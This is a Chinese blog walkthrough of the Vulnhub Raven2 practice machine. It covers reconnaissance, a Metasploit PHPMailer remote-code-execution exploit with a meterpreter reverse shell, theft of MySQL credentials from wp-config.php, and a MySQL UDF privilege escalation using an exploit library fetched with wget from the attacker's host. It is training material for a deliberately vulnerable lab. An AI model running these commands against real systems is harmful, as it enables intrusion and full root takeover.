• Vulnhub系列靶机-Raven2


    Raven2 渗透测试

    1. 信息收集

    1.1 主机探测

    arp-scan -l
    
    • 1

    image-20231013144424941

    1.2 端口扫描

    nmap -p- -A 192.168.188.213
    
    • 1

    image-20231013144601315

    通过nmap工具进行端口扫描发现靶机开放了22,80,111,58447端口。

    访问Web页面

    image-20231013144749607

    使用浏览器插件Wappalyzer,查看网站使用的具体框架信息

    image-20231013145503801

    1.3 目录爆破

    dirsearch -u 192.168.188.213 -e * -i 200
    
    • 1

    image-20231013144920587

    2. 漏洞探测

    访问一下wp-login.php页面

    image-20231013145032185

    尝试登录发现找不到网站

    image-20231013155117407

    访问http://192.168.188.213/vendor/页面

    image-20231013150035714

    点击PATH发现一个flag1

    image-20231013160145841

    flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
    
    • 1

    点击README.md文件发现是PHPMailer。

    image-20231013151652149

    PHPMailer的版本信息5.2.16。

    image-20231013151727625

    经搜索后发现PHPMailer是一个用于发送电子邮件的PHP函数包。在网上搜索资料后发现PHPMailer5.2.16版本的漏洞有远程命令执行漏洞。

    image-20231013155633414

    Web页面中也有发送邮件的位置,这样就对应上了。

    image-20231013160752128

    3. 漏洞利用

    3.1 msfconsole

    使用msfconsole搜索phpmailer

    search phpmailer
    
    • 1

    image-20231013155814058

    info 0
    
    • 1

    有两个先查看下第一个描述情况。

    image-20231013155928189

    发现第一个版本需要在5.2.18之下,而之前发现的版本为5.2.16正好小于5.2.18。那么我们直接使用第一个即可。

    use 0
    
    • 1

    image-20231013160120055

    配置选项如下

    options
    set RHOSTS 192.168.188.213 			  	  # 靶机的IP地址
    set TARGETURI /contact.php   			  # 邮件功能页面
    set WEB_ROOT /var/www/html    			  # 网站绝对路径
    set payload php/meterpreter/reverse_tcp	  # 设置payload
    set LHOST 192.168.188.157   			  # kali的IP地址
    run
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    image-20231013161139598

    复制生成的0nB8rTnS.php拼接在URL后然后进行访问。

    image-20231013165045546

    反弹成功。

    image-20231013164222374

    在/var/www路径下可以看到flag2.txt文件

    image-20231013164513462

    flag2{6a8ed560f0b5358ecf844108048eb337}
    
    • 1

    切换为shell形式,搜索所有的flag

    shell
    find ./ -name "flag*"
    
    • 1
    • 2

    image-20231013164715066

    ./html/wordpress/wp-content/uploads/2018/11/flag3.png
    
    • 1

    image-20231013164806832

    f1ag3a0f568aa9de277887f37730d71520d9b}
    
    • 1

    3.2 交互式shell

    使用python一句话反弹交互式shell。

    python -c 'import pty; pty.spawn("/bin/bash")'
    
    • 1

    image-20231013165226185

    尝试搜索wordpress的配置文件

    find ./ -name "*fig*"
    
    • 1

    image-20231013165539143

    在wp-config.php文件中发现了mysql的数据库账号密码为:

    root
    R@v3nSecurity
    
    • 1
    • 2

    image-20231013165651099

    使用账号密码成功登录数据库。

    mysql -uroot -pR@v3nSecurity
    
    • 1

    image-20231013165806991

    4. 权限提升

    MYSQL低于5.5的漏洞可以使用UDF提权,查看mysql的运行权限。发现是mysqld是root权限,查看secure_file_priv的设置发现为空,满足udf提权。

    ps -aux|grep mysql  				#查看mysql的运行权限
    select version();   				#查看mysql版本
    select @@basedir;   				#确认mysql安装位置
    show variables like '%basedir%';    #确认mysql安装位置
    show variables like '%secure%';  	#查看可导出文件位置
    
    • 1
    • 2
    • 3
    • 4
    • 5

    image-20231013170233373

    MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。查看插件位置为:/usr/lib/mysql/plugin/,Windows的话还需查看操作系统版本。

    show variables like '%plugin%';  	 #查找插件位置
    show variables like '%compile%';  	 #查看系统版本
    
    • 1
    • 2

    image-20231013170315512

    通过以上信息可知满足udf提权,直接利用1518进行提权,先搜索1518.c,然后查看其所在位置,并复制到桌面。

    searchsploit 1518.c  			 #搜索1518.c
    locate 1518.c	 				 #查看下本地所存放路径
    cp /usr/share/exploitdb/exploits/linux/local/1518.c .  #复制到当前所在文件夹
    
    • 1
    • 2
    • 3

    image-20231013170420371

    image-20231013170431915

    image-20231013170519066

    利用gcc编译,生成1518.so文件。

    gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.c -lc
    
    • 1

    命令参数说明

    • -g:生成调试信息。
    • -shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
    • -o:执行命令后的文件名。
    • -lc:-l 库 c库名。
    • -Wl:该选项告诉编译器将后面的参数传递给链接器。
    • -soname:则指定了动态库的soname(简单共享名,Short for shared object name)

    image-20231013170609725

    在kali上使用python开启http服务。

    python3 -m http.server 7777
    
    • 1

    在获取的shell中,将该“.so”文件传输到靶机上的/tmp目录下。并且使用wget命令下载1518.so文件。将下载的文件赋予执行权限。

    cd /tmp
    wget http://192.168.188.157:7777/1518.so
    chmod 777 *
    
    • 1
    • 2
    • 3

    image-20231013171059486

    再次登录mysql,并使用一下命令创建自定义函数。

    # 连接mysql数据库
    mysql -uroot -pR@v3nSecurity
    
    # 使用mysql数据库
    use mysql;
    
    # 创建foo表
    create table foo(line blob);
    
    # 往foo表中插入二进制的1518.so
    insert into foo values(load_file('/tmp/1518.so'));
    
    # 导出1518.so
    select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
    
    # 创建do_system自定义函数
    create function do_system returns integer soname '1518.so';
    
    # 调用do_system函数给find命令所有者的suid权限,使其执行root
    select do_system('chmod u+s /usr/bin/find');
    
    # 导入成功后可查看一下 mysql 函数里面是否新增了do_system:
    select * from mysql.func;
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23

    image-20231013171358098

    利用find命名执行whoami,发现当前为root权限。

    touch 11
    find 11 -exec "whoami" \;
    find 11 -exec "/bin/sh" \;
    cd /
    ls
    cd root
    ls
    cat flag4.txt
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    image-20231013171809501

  • 相关阅读:
    附文献丨艾美捷T7 RNA聚合酶说明书
    xCode14.3.1运行MonkeyDev出现“Executable Not Found“的解决办法
    科研笔记第三期——一条文章带你玩转柱状图
    阻容感基础知识
    有关javascript中事件对象e
    【Python基础】4. 基本语句
    spring cloud gatewa修改路由等信息
    实现安全的服务通信:探索如何使用服务网格来确保服务间的安全通信
    业务:财会业务知识之借贷记账法
    input框上传文件并传给后端
  • 原文地址:https://blog.csdn.net/weixin_58783105/article/details/133822891